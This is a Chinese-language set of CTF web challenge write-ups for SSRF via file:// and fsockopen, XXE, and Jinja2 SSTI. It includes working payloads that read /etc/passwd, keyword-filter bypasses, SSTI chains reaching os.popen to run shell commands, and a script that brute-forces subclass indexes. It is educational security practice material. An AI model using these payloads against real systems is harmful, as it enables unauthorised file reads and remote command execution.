[NISACTF 2022]easyssrf
这道题目考察的是php伪协议的知识点
首先利用file协议进行flag查找
file:///flag.php
接着我们用file协议继续查找fl4g
file:///fl4g
接着我们访问此文件,得到php代码如下
这里存在着stristr的函数,以及file_get_contents的函数,我们查找用法
最后我们试着用file协议目录遍历的方式读取flag
/ha1x1ux1u.php?file=../../../flag //../表示跳转到上一级目录,多写../也没有影响,但是少写的话就不能跳转到flag目录
[HNCTF 2022 WEEK2]ez_ssrf
这道题目考察的知识点是ssrf以及fsockopen函数对ssrf的影响
首先根据题目提示,进入/index.php文件中
代码的作用是通过将传递的参数$data进行base64解码后,将数据发送到指定的主机$host和端口$port,并读取响应数据。这里并没有做任何的过滤。
fsockopen()
函数建立与指定主机和端口的 socket 连接。然后,它将传入的 base64 编码的数据解码,并将数据写入到连接的 socket 中。fsockopen函数可以被滥用来触发SSRF攻击,这是因为该函数允许从远程服务器上读取数据并与远程服务器建立连接。攻击者可以使用fsockopen函数来发送恶意请求,例如将远程服务器地址设置为攻击者控制的恶意服务器,然后尝试读取该服务器上的敏感数据或执行任意命令。
然后利用poc构建脚本
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>
上面的host和port都是盲猜出来的,data后面就是一个http的请求伪造
构造payload如下:
/index.php?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
[NCTF 2019]Fake XML cookbook
这道题目考察的知识点是XML注入
这里放上XML学习的链接浅谈XML实体注入漏洞 - FreeBuf网络安全行业门户
首先我们先进行抓包分析,提示我们提交方式为POST,地址为doLogin.php
那么直接构建我们的恶意的外部实体,实现攻击,先尝试获取/etc/passwd下的文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>
获取成功,我们再获取flag信息
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>
[NCTF 2018]flask真香
这道题目考察的知识点是SSTI模板注入
打开题目,发现没有什么提示,猜想是ssti注入,尝试找到ssti注入点并找到模板
我们先尝试用{7*7}进行注入,看看有什么反应
出现错误界面,接着往下走,输入{{7*7}},发现成功回显7*7的结果
接着继续输入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板
页面回显7777777,证明是jinjia2模板注入。接下来就可以利用漏洞尝试读取文件或者执行命令
读取 /etc/passwd:http://localhost:5000/?name={{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
执行命令(假设找到 os.system 子类):http://localhost:5000/?name={{''.__class__.__mro__[1].__subclasses__()[396]('ls').__call__()}}
下面是常用类与语法:
__class__:表示实例对象所属的类。
__base__:类型对象的直接基类。
__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。
__mro__:一个由类组成的元组,在方法解析期间用于查找基类。
__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。
__init__:初始化类的构造函数,返回类型为function的方法。
__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。
__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。
因此我们尝试用{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} 读取子类
出现了页面错误,说明存在过滤,用fuzz字典爆破过滤内容,发现过滤内容有很多,不是很清楚怎么进一步确定具体的过滤字符,参考别人的wp得知过滤内容如下:
class subclasses config args
request open eval import
绕过方式:
1. 基于字符串连接运算符
不同的模板引擎可能支持不同的字符串连接运算符:
Jinja2 (Python): 可以使用 + 运算符
Twig (PHP): 可以使用 ~ 运算符
ERB (Ruby): 可以使用 + 运算符
jinjia2(py):
{{ 'c' + 'at /etc/passwd' }}Twig (PHP):
{{ 'c' ~ 'at /etc/passwd' }}ERB (Ruby):
<%= 'c' + 'at /etc/passwd' %>
2. 使用内置函数和方法
许多模板引擎提供了处理字符串的内置函数或方法,可以用来拼接字符串:
jinjia2(py):
{{ ''.join(['c', 'at', ' ', '/etc/passwd']) }}Twig (PHP):
{{ ['c', 'at', ' ', '/etc/passwd']|join }}ERB (Ruby):
<%= ['c', 'at', ' ', '/etc/passwd'].join %>
3. 十六进制或 Unicode 编码
如果某些字符被直接过滤,可以尝试使用十六进制或 Unicode 编码绕过:
jinjia2(py):
{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}Twig (PHP):
{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}ERB (Ruby):
<%= "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" %>
这题是有过滤构造payload,首先尝试字符串拼接的方式,因为这题的模版是jinjia2,所以连接符是“+”,构造payload:
{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()}}
构造payload的基本步骤:
1.获取所有子类(jinjia2)
{{ [].__class__.__base__.__subclasses__() }}
2.查找文件操作类
通过索引访问子类,找到文件操作类:
{{ [].__class__.__base__.__subclasses__()[index] }}
3.读取文件内容
一旦确定文件操作类的位置,可以读取文件内容:
{{ [].__class__.__base__.__subclasses__()[index]['__init__'].__globals__['__builtins__']['open']('/etc/passwd').read() }}
4.接下来通常使用查找eval函数或者是os模块来执行我们需要的命令
eval函数与os模块的作用:
eval 函数:
可以直接执行传入的字符串作为代码。因此,找到 eval 函数意味着可以执行任意代码,这通常是最直接和强大的攻击方式。
os模块:
os 模块提供了执行系统命令、文件操作等功能,利用 os 模块可以执行系统命令、读取或写入文件。
可以用这个脚本找到eval函数的位置,但这题找不到eval
import requests
url = input("请输入 URL:")
found = False
for i in range(500):
try:
# 构造 payload
payload = "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"
data = {"name": payload}
# 发送 POST 请求
response = requests.post(url, data=data)
# 检查响应状态码
if response.status_code == 200:
print(f"Response for index {i}: {response.text}")
# 检查响应内容是否包含 "eval"
if "eval" in response.text:
print(f"Found eval at index: {i}")
found = True
break # 找到后退出循环
except Exception as e:
print(f"Error at index {i}: {e}")
if not found:
print("Did not find eval in the first 500 subclasses.")
那就换个思路,尝试找os模块
CTRL+F查找:
我们找每个元素都有的字符 >
先找到os.wrap_close的位置,在找>即可得知其对应的位置
找到了它的位置236,可以构造payload验证一下
{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()[236]}}
验证说明正确,找到os模块后可以执行任意系统命令
{{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[236].__init__.__globals__['pop'+'en']('ls /').read()}}}
爆出flag所在文件位置,接着用cat命令获得即可
{{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[236].__init__.__globals__['pop'+'en']('cat /Th1s_is__F1114g').read()}}}
得到flag
思路总结:
1.首先我们需要判断是ssti注入,并且判断是什么模板
2.根据相应的模板进行构造payload(获取子类、获取文件操作类、获取文件内容)
3.接来寻找eval函数和os函数相应的位置并且执行命令
4.最后构造完整payload
这道题还需要考虑到过滤,我们还得进行相应方法进行绕过
参考资料: [NCTF 2018]flask真香-CSDN博客
解:[NCTF 2018]flask真香--TLS_预备队任务(1)-CSDN博客